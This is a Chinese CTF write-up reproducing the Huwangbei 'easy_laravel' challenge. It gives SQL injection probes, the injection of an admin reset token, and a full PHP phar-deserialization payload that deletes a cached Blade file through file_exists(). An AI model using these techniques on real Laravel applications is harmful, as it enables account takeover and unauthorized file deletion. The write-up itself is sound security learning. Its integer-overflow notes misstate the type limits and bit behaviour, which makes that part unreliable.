自我反思&&护网杯easy_laravel复现


最近有学了一段时间,也不知道自己在学点什么,之前的hackerganme玩了一波,感觉很有成就感(虽然也没做出很多难题),怎么说呢,至少还是有一点快乐,后来周末的护网杯,结果正规赛,果然还是体无完肤,很多题只有一半的思路,还差了一点,以及就是对新事物的快速理解

前言

最近有学了一段时间,也不知道自己在学点什么,之前的hackerganme玩了一波,感觉很有成就感(虽然也没做出很多难题),怎么说呢,至少还是有一点快乐,后来周末的护网杯,结果正规赛,果然还是体无完肤,很多题只有一半的思路,还差了一点,以及就是对新事物的快速理解

Easy_web

大致思路

对Tornado的理解

  1. 快速对模板进行理解
  2. 理解题目中需要的需求(cookie_secret)

由render()提示而来的模板注入(SSTI)

Ltshop

大致思路

条件竞争

  1. 一般商店类的题目,很多就是条件竞争,通过多线程同时购买从而导致一次扣费,购买多个的结果
  2. 不过我就陷入了不断的在思考提高线程的过程中,死循环

整数溢出

有符号:

​ int: 2**31-1 =4294967295

​ long: 2**63-1=9223372036854775807

​ lon long:s**64-1=18446744073709551615

溢出原理是高位截断低位保留

1
2
3
4
5
6
7
8
9
10
11
unsigned short int  a=65535; ---1000 0000 0000 0000
int b;
b = a;
cin<<b<<endl;

output:0
强制转换int类型 就变成了 000 0000 0000 0000 1是高位所以被截断了

那么就可以知道了
65536 1000 0000 0000 0001 -> int : 1 ---000 0000 0000 0001
65537 1000 0000 0000 0010 -> int : 2 ---000 0000 0000 0010

前两个的wp参考,以及里面有一个快速阅读框架源码的方式,感谢大佬

Easy_Laravel 自己的复现(弱鸡脸)

快速理解Laravel框架

目录结构

  1. bootstrap:一个引导目录,里面就是对app.php的引导文件,里面还有性能优化的框架,路由和服务的缓存文件

  2. config : 各种网页的设置(例如各种功能的开关,加密方式的选择,还有标题啥的)

  3. database:包含了各类种子,也可能有SQLite数据库。

  4. Public:简单的来说就是用户直接接触的文件夹,也就是入口,接受所有的请求,然后调用各种借口

  5. resource:包含所有的语言文件视图

  6. routes:包含所有路由的定义

    1. web.php:有CSRF保护和cookie加密,以及定义了所有的路由,即有url的生成也包含在里面。可以在里面寻找Controller和url的对应关系
    2. api.php:通过令牌来身份验证,但无法访问会话状态
    3. console.php:
    4. channel.php
  7. storage:包含已经编译blade模板,session,以及各类缓存

    1. app:存储应用生成的任何文件
    2. framework:存储框架的文件和缓存
    3. logs:日志
  8. app

    1. Console:所有定义的Artisan命令。可以使用该命令生成这些命令。此目录还包含控制台内核,您可以在其中注册自定义Artisan命令并定义计划任务
    2. Exception:包含异常处理
    3. Http:目录包含您的控制器,中间件和表单请求。处理进入应用程序的请求的几乎所有逻辑都将放在此目录中。
  9. compose.json中包含了许多的组件,(源码没有时,可以自己下载安装,然后进行全局的查找)

    进入题目

    找到源码

    1.png

    每个功能都转一圈看看

    2.png
    3.png
    4.png
    重置密码
    5.png
    但是失败
    6.png

    回到源码

    所有的输入最后都要回到控制器,所以要根据前面的url,来寻找对应的控制器,也可以在routes中寻找网址生成与控制器之间的联系

    查看路由关系(/routes/web.php)

    7.png

flag的获取条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class FlagController extends Controller
{
public function __construct()
{
$this->middleware(['auth', 'admin']);
}

public function showFlag()
{
$flag = file_get_contents('/th1s1s_F14g_2333333');
return view('auth.flag')->with('flag', $flag);
}
}
//不难发现我们的目标就是要通过admin的身份登录进去

SQL注入的发现

在过程使用中我们接触到了/home和/note,那么我们进入他们的控制器

1
2
/app/Controllers/NoteController.php
/app/Controllers/HomeController.php

/home中主要是跳转逻辑
/note中有一个sql语句
8.png

以及在database文件夹中存在着

1
2014_10_12_000000_create_users_table.php

9.png

开始尝试我们的注入(也是第一个坑点)

  1. 无脑一号
    10.png
    fails
  2. 有脑一号

    1
    2
    3
    ' union select 1,2,3,4#
    Whoops, looks like something went wrong.
    fails
  3. 脑残一号
    11.png
    至此我们找到了注入点,那么怎么得到我们需要的admin身份呢,我们在sublime中使用全局查找,寻找admin的信息

'name' => '4uuu Nya',
'email' => 'admin@qvq.im',
'password' => bcrypt(str_random(40)),
'remember_token' => str_random(10),

//邮箱GET,密码加密!
//搜索一波bcrypt,没有这玩意,所以没有办法得到密码

重置密码的使用

我们之前尝试直接使用出现了错误,那么我们通过源码去看我们需要什么才能reset我们的密码

全局查找reset,有惊人的发现
12.png

那么我就只要注入出admin的token就可以了
13.png
重置密码
14.png

后台登录之后发现了很尴尬的事情,居然flag直接就出来了,这样只能盗图dalao的wp来完成下面的复现了,哭泣

根据提示
15.png

是关于blade和缓存的问题

1
在 laravel 中,模板文件是存放在 resources/views 中的,然后会被编译放到 storage/framework/views中,而编译后的文件存在过期的判断。

寻找缓存文件的位置

1
2
3
4
public function getCompiledPath($path)
{
return $this->cachePath . '/' . sha1($path) . '.php';
}

而我们从给的提示中知道,ngnix使用的默认配置那么就知道了

1
2
3
4
5
6
/usr/share/nginx/html
这里再结合上面的缓存路径,那么最后的路径为
/usr/share/nginx/html/resources/views/auth/flag.blade.php
再sha1一下
所以缓存路径为
/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php

通过反序列操作,进行文件删除

通过blackhat的议题

通过phar函数来进行反序列化操作

1
2
通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但在不久前的Black Hat上,安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。
该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

我们登录之后有上传功能,查看内部逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function upload(UploadRequest $request)
{
$file = $request->file('file');
if (($file && $file->isValid())) {
$allowed_extensions = ["bmp", "jpg", "jpeg", "png", "gif"];
$ext = $file->getClientOriginalExtension();
if(in_array($ext, $allowed_extensions)){
$file->move($this->path, $file->getClientOriginalName());
Flash::success('上传成功');
return redirect(route('upload'));
}
}
Flash::error('上传失败');
return redirect(route('upload'));
}

public function check(Request $request)
{
$path = $request->input('path', $this->path);
$filename = $request->input('filename', null);
if($filename){
if(!file_exists($path . $filename)){
Flash::error('磁盘文件已删除,刷新文件列表');
}else{
Flash::success('文件有效');
}
}
return redirect(route('files'));
}
}

其中的getClientOrignalName是用来检查文件头,且允许gif文件,且file_exists是一个良好的phar跳板
(phar,文件可以伪装为其他的文件,php判断是否为phar,是通过看是否包含__HALT_COMPILER();)//详情可见上面的给的链接

我们在源码中搜索unlink() or __destroy__

16.png

payload构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include('autoload.php');
$a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
var_dump(unserialize($a));
var_dump($a); # 这个函数很有趣,$_path 也就是删除的目录是可以自己制定的,将这里面的内容换成我们想要的内容,就可以删掉flag的缓存文件。
$a = preg_replace("/\/tmp\/FileByteStream[\w]{6}/","/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a);
$a = str_replace('s:25', 's:90', $a);
# 这里将 _path 的内容修改掉
$b = unserialize($a);
$p = new Phar('./shell.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); # 改文件头
$p->setMetadata($b);
$p->addFromString('test.txt','text');
$p->stopBuffering();
rename('shell.phar', 'shell.gif')
?>

上传path后触发

17.png

参考链接:
http://shaobaobaoer.cn/archives/696/huwangbei-2018-easy-laravel#_blade
https://www.smi1e.top/?p=364
https://www.anquanke.com/post/id/161849#h3-7